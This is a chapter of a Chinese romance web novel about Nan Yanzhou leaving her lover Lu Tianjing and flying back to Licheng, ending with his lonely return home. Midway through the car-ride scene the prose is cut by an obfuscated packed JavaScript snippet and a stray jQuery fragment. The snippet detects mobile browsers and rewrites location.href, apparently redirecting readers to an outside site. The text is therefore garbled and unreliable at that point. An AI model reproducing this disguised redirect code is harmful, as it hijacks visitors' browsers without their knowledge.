南雁舟醒来的时候，天刚蒙蒙亮。


    窗帘透进来的光还是灰白色的，落在床尾那床薄被上，像一层淡淡的霜。


    她侧过头，看见陆天景还在睡。


    他睡得很沉，呼吸平稳而绵长，胸口随着呼吸一起一伏，他的手臂搭在她腰间，带着一股温热，让她不敢轻易动弹。


    晨光从窗帘缝隙里漏进来，落在陆天景的脸上，把他那道眉骨的轮廓照得格外清晰，连睫毛在眼下投出的一小片阴影都看得分明。


    南雁舟就那样看着他，看了很久。


    她从床头柜上摸到手机，屏幕亮起，发现才不到七点，然后轻轻地、一点一点地把他的手臂挪开，坐起来，床垫轻轻弹起，没有发出任何声响。


    随后光着脚踩在地板上，瓷砖的凉意从脚底钻上来，让她清醒了几分。


    南雁舟打开手机，又点进去那张订单，她很早就买好了从燕城飞黎城的机票，时间正好是今天下午四点。


    她锁了屏，把手机放回床头柜，没有立刻躺回去，只是坐在床边，看着窗外。


    天还早，光线还很稀薄，像一层半透明的蝉翼。那些高高低低的楼群就立在这薄纱后，像一幅正在显影的底片，轮廓由模糊渐趋清晰。


    那些她看了很多年的街道，那些她走过无数遍的路口，那些她以为自己会一直看下去的东西，再过几个小时，就都要看不见了。


    距离下午四点还有九个小时，南雁舟不知道自己坐了多久，这座城市正在慢慢醒来，然后她轻轻躺回去，侧过身，对着他。


    他还是那个姿势，手臂不知什么时候又搭了过来，落在她腰侧，睡着时也在下意识地寻找她的存在。


    他的呼吸依旧平稳，眉头舒展着，像在做一场很好的梦。


    南雁舟不忍心打扰，只是看着他。


    她伸出手，悬在他眉骨上方，停住了，她怕惊醒他，也怕惊醒自己。


    这一年里她看过他很多次，吃饭时的他，抽烟时的他，皱着眉看文件时的他，但从没有这样近地看过。


    这么近，这样静，不用躲闪，不用在他睁开眼睛之前把目光移开。


    她想记住这张脸，记住他睡着时眉宇间那一点点舒展的温柔，记住他鼻梁上那道极淡的痕迹——她问过，他说是小时候摔的，早就忘了疼。


    她想把这些都记到心里去，但心底似乎又有个声音在说，还是忘了好。


    南雁舟知道，过了今天，她应该会难受上一段时间，也许忘记了，对自己是一件好事。


    陆天景是在九点左右的时候醒的，他打了个哈欠，手臂下意识收紧，把她往怀里带了带。


    南雁舟靠在他胸口，没有动。


    “醒了？”他问，声音还带着刚睡醒的沙哑，像砂纸轻轻磨过木头。


    “嗯。”


    陆天景闭着眼睛，下巴抵在她发顶，又不动了。


    南雁舟能感觉到他的呼吸喷洒在自己头发上，温热的，带着他身上的气息。


    她等了一会儿，问：“不去上班吗？”


    “再睡一会儿。”他的声音闷闷地从头顶传来，带着点懒洋洋的餍足，“今天没什么事。”


    他的呼吸又平稳下去，南雁舟靠在他怀里，听着他的心跳，一下，一下，沉稳有力，像某种不会出错的钟摆。


    她数着那些心跳，数到一百二十三下的时候，他的呼吸沉了，又睡着了。


    她闭上眼睛。


    -


    陆天景再次醒来时，发现身边空了。


    他愣了一下，手往旁边摸了一把，只有冰凉的床单。


    一个箭步冲出门外，听见厨房里隐约的声响，锅铲碰着锅底的声音，油烟机嗡嗡的轰鸣。


    陆天景松了口气。


    那种自己都没察觉的、不知道什么时候悬起来的东西，悄悄地落回了原处。


    他又回到房间里，套上衣服，走出卧室。


    客厅里，两只猫正蹲在猫盆前埋头苦吃，阿谷的脑袋一点一点的，阿布的那只吃得尾巴都翘起来了。


    他走过去，低头看了一眼，猫盆是满的。


    他愣了一下。


    两只猫抬起头，冲他叫了一声，又低头继续吃，对他这个每天负责投喂的主人毫不在意。


    陆天景蹲下来，摸了摸阿布的脑袋，手感一如既往地柔软温暖。


    “以前都是醒来喂你们，”他轻声说，像是在自言自语，“竟然形成习惯了。”


    阿谷不理他，专心对付碗里的猫粮。


    陆天景站起来，往厨房走。


    南雁舟站在灶台前，袖子挽到手肘，露出一截细白的小臂。她正拿着锅铲翻动鸡蛋，阳光从窗户照进来，落在她侧脸上，把那层细细的绒毛都照得清清楚楚。


    他走过去，从后面抱住她。


    她的后背贴上他的胸膛，隔着薄薄的衣料，他能感觉到她轻轻僵了一下。


    他把下巴抵在她肩窝里，她身上有油烟的味道，混着她自己的气息，洗发水的香味，还有一点点早晨特有的清新。


    陆天景把脸埋进去，深吸了一口。


    他的唇蹭过她耳侧，他知道那里有一小片特别敏感的皮肤，他想看她躲闪，看她脸红，看她被自己逗得没办法的样子。


    南雁舟的手顿了一下，然后她推开他。


    “开饭了。”她说。


    他被推得往后退了半步，站在原地看着她。她已经转身去盛饭了，背影绷得很直，像一根拉紧的弦。


    他站在那里，看着那个背影。


    有什么东西，轻轻地硌了他一下。


    餐桌上摆了一桌子的菜，她坐下，拿起筷子。


    他也坐下，拿起筷子。


    两人都没说话。


    阳光很好，落在餐桌上，把白瓷碗的边缘照得发亮，那束玫瑰还插在花瓶里，花瓣比昨天更红，红得像一小簇凝固的火焰。


    “今天有什么安排？”陆天景问，尽量让声音听起来随意。


    南雁舟的筷子顿了一下，很短，但他看见了。


    “下午……”她顿了顿，像是在斟酌措辞，“下午四点的飞机。”


    他的勺子停在碗边。


    “回黎城？”


    “嗯。”


    陆天景看着她。


    她没有抬头，只是低着头，继续喝粥，一勺一勺的，像是在数数。


    他知道她会走，只是没想到会走这么快，而且，她居然没有告诉自己。


    “几点的？”陆天景强忍心里的怒火，问她。


    “四点。”


    “这么突然？”


    “不突然，”她说，声音很轻，“早买好了。”


    早买好了，这句话轻飘飘的，落在他心上却像石头。


    陆天景放下勺子。


    “怎么没告诉我？”他终于问出来了。


    南雁舟终于抬起头，看着他，目光很平静，平静得几乎没有波澜，像一潭没有风的深水。


    “没必要。”她说。


    没必要。


    他听着这个词，忽然笑了一下，不是真的笑，是嘴角扯了一下，又落回去，像一颗石子扔进水里，沉了。


    “没必要。”他重复了一遍，像是在咀嚼这个词的味道。


    她没说话。


    他靠在椅背上，看着她，她还在吃饭，低着头，刘海垂下来，遮住了眉眼，她吃得很慢，每一嘴都很慢，像是在拖延什么，又像是在等待什么。


    他不知道自己在想什么，只觉得胸口有什么东西，在一点一点往下坠，坠到一个深不见底的地方。


    没必要。


    她说不必要告诉他。


    她什么时候走的，去哪里，什么时候回来，都不需要告诉他。


    他是谁呢？


    陆天景忽然想起很久以前的事，那时他刚毕业不久，在一次饭局上听到有人骂自己“不正经”。那人说，陆天景不过只是靠着他爹而已，没什么本事，更没脑子，还是个玩得花的浪子。


    他那时候没生气，虽然那人说得并不完全对，但他确实不是什么正经人。


    而南雁舟呢？


    她是正经大学生，读书好，人安静，干干净净的，将来会有体面的工作，体面的生活。她应该找一个同样正经的人，老师或是医生，朝九晚五，安安稳稳，而不是他这种不知道哪天就会翻船的人。


    他看着眼前这个低头吃饭的人，她那么安静，那么乖，那、那么的……不应该属于他。


    他忽然有点怕。


    怕她从来没有喜欢过他，怕她一直只是履行约定，只是不好意思说出口，怕她说的“没必要”，是真的没必要，他这个人，在她的人生里，本来就没必要存在。


    他垂下眼睛。


    “下午我送你。”陆天景说。


    南雁舟抬起头，看着他。


    “好。”她说。


    吃完饭，南雁舟收拾碗筷，陆天景坐在沙发上，看着她的背影在厨房里忙碌。


    两只猫跳上他的腿，他摸了摸，没说话。


    厨房里传来水声，南雁舟洗碗洗了很久，一个一个，擦得很慢。


    陆天景站起来，走过去。


    她正在擦碗，背对着他，动作很慢，像是在出神。


    他靠在门框上，看着她。


    她没有回头。


    “南雁舟。”他开口。


    她的手顿了一下。


    “那两只猫，”他说，“你打算怎么办？”


    她没有回头，沉默了几秒。


    “要不……”她的声音从背影传来，很轻，“送走吧。”


    陆天景没说话。


    她回过头，看着他。


    “送走？”陆天景问。


    “嗯。”


    “送哪儿？”


    她张了张嘴，又闭上，像是不知道该说什么。


    陆天景忽然笑了，那笑很冷，连他自己都觉得冷。


    “你离开之后，猫是老子养的。”他一字一顿地说，每一个字都咬得很清楚，“这是老子的猫，不是你的，你没资格送走。”


    他看着她的眼睛，那双眼睛里有什么东西碎了，很细的裂纹，但他看见了。


    南雁舟没有说话，只是低下头。


    “好。”她说。


    声音很轻，轻得像一片落叶。


    陆天景转身，走回客厅。


    沙发上，两只猫还趴着，他坐下来，它们又跳上他的腿。


    他摸了摸它们的毛，一下，一下，很慢。


    两点半，南雁舟换好衣服，拖着行李箱出来。


    她穿着那件米白色的羽绒服，背着那个用了三年的旧书包，头发扎起来，露出一张干干净净的脸。


    陆天景站在门口等她。


    她走到他面前，停下。


    “走吧。”他说。


    她点点头。


    两人一前一后走出门，行李箱的轮子在地上滚动，发出细碎的声响。


    两只猫跟在门口，叫了一声。


    他没有回头，她也没有回头。


    从别墅到机场有一个小时的车程。


    车里很安静，安静得能听见彼此的呼吸声。


    陆天景开着车，目视前方，双手握着方向盘，指节因为用力而微微泛白。


    南雁舟靠着车窗，看着窗外飞速掠过的街景


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214075|197285||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    城市的街道从窗外掠过，那些她看了很多年的风景，一样一样往后退。那些熟悉的店铺，那些走过无数次的路口，那些阳光下闪闪发光的玻璃幕墙，都在往后退，退到她再也够不着的地方。她记着它们，像记着一些告别前的遗物。


    红灯，车停下。


    她忽然想开口，想说点什么，她张了张嘴，什么都没说出来。


    陆天景一直看着前方，侧脸绷得很紧，下颌线像是用雕刻刀刻出来的，薄薄的唇抿成一条线。


    南雁舟忽然明白，他也在告别，用他的方式。


    她把话咽回去，继续看着窗外。


    机场到了。


    陆天景停好车，下来帮她拿行李。


    她站在车边，看着他。


    他把行李箱从后备箱拎出来，放在她脚边。


    他们面对面站着，隔着两步的距离。


    机场门口人来人往，有人拖着行李箱匆匆走过，有人和亲友拥抱告别，有人拿着手机大声讲电话。


    那些声音像是从很远的地方传来，隔着一层厚厚的玻璃。


    “到了给我消息。”陆天景说。


    “好。”


    陆天景看着南雁舟的眼睛，那里面有很多话，有很多她没说的东西，他看得出来。但他没有问，因为他不知道自己想不想听到答案。


    南雁舟也看着陆天景的眼睛，那里面也有很多话，很多他没说的东西，她也看得出来。但她也没有问，因为她怕自己听了，就不想走了。


    他们就这样站着，站了很久，久到旁边有人经过时好奇地看他们一眼，久到广播里开始播报值机信息，一个温柔的女声一遍遍重复着航班号和登机口。


    “我进去了。”南雁舟说。


    她转身，拉着行李箱往航站楼走。


    “阿舟！”陆天景突然喊住她，南雁舟心里一紧，猛地回过头，看见他依然那副漫不经心的样子。


    “祝你以后……”陆天景顿了下，说：“祝你一直能幸福。”


    南雁舟嘴角弯了弯，朝他挥挥手，说：“再见，祝你的梦想成功实现。”


    陆天景听到“梦想”两个字一怔，他从来没想到有人会把“梦想”这两个字也自己联系起来，恍惚间，他好像记起来，有天晚上南雁舟问过他的梦想是什么，他说他现在的梦想就是拿下陆氏集团。


    没想到，她还记得。


    陆天景站在原地，看着她的背影，她走得很快，羽绒服的下摆在走动时轻轻晃动，行李箱的轮子在地上滚动，声音越来越远。那个背影越来越小，越来越模糊，最后消失在自动门后面。


    他还站在那里，站着看了很久。


    航站楼里人来人往，南雁舟拖着行李箱，走得很慢，后面的人不得不绕过她。


    她不知道自己走了多久，走到登机口的时候，她停下来，回头看了一眼。


    身后什么也没有，只有来来往往的陌生人，有人低头看手机，有人靠在椅背上睡觉，有人抱着孩子轻声哄着。


    她转过身，找了个座位坐下，手机在口袋里，沉甸甸的。


    她拿出来，打开那个对话框。最后一条消息是他发的，很久以前，只有一个“好”。她往上翻，翻过很多个“好”，很多个“嗯”，很多个简短到近乎冷淡的回应。


    再往上，是更早以前，他发来午餐的照片，她回一个“乖”的表情包，他说还在加班，她叮嘱他早点休息。


    她锁了屏，把手机扣在胸口，脊背抵着椅背，整个人像一截被掏空的木头。


    然后泪水就漫了上来，悄无声息地，溢过眼眶的堤，顺着脸颊流成了两条沉默的河。


    -


    机场外面，陆天景还站在车边。


    他没有立刻上车，只是站在那里，看着那扇自动门。门开了又关，关了又开，很多人进进出出，拖着行李箱，脚步匆匆。没有一个是她。


    他忽然想抽根烟，摸出烟盒，才发现手在抖。手指尖微微地颤着，像是握不住那个小小的烟盒。


    他把烟盒收回去。


    上了车，发动，驶出停车场。


    后视镜里，机场越来越远。


    他忽然想起她早上说的那句话。


    “没必要。”


    没必要告诉他，没必要让他送，没必要让他知道她什么时候走。她在他的世界里，来去自如，像一只来去无踪的鸟。


    而他呢？


    他连留的资格都没有。


    因为他不知道自己在她心里到底是什么。


    他握着方向盘的手，又紧了几分，指节泛出青白色，眼眶在微微发红。


    傍晚六点，陆天景回到别墅。


    客厅里黑着灯，只有窗外透进来的城市灯火，在地板上铺成一片暗淡的光。


    两只猫听见动静，跑过来，在他腿边蹭来蹭去，发出撒娇的叫声。


    他蹲下来，摸了摸它们。


    陆天景站起来，走到餐桌边。


    那束玫瑰还在，安静地插在花瓶里，花瓣比早上更红了一些，有几片落在桌上，像一滴一滴凝固的血。


    他盯着那束玫瑰，看了很久。


    然后他拿起那张被她收好又放回来的卡片，翻开。


    上面那行字还在，工工整整的。


    “舟舟，我爱你。”


    他看着那行字，忽然笑了一下。


    这一次是真的笑了，笑得很难看，嘴角扯得很开，眼眶却发酸。


    他把卡片放回去，走到窗边。


    窗外，城市的灯火正在一盏一盏亮起来，远处的楼群亮起了霓虹，近处的街道亮起了路灯，那些光连成一片，像一条流淌的河。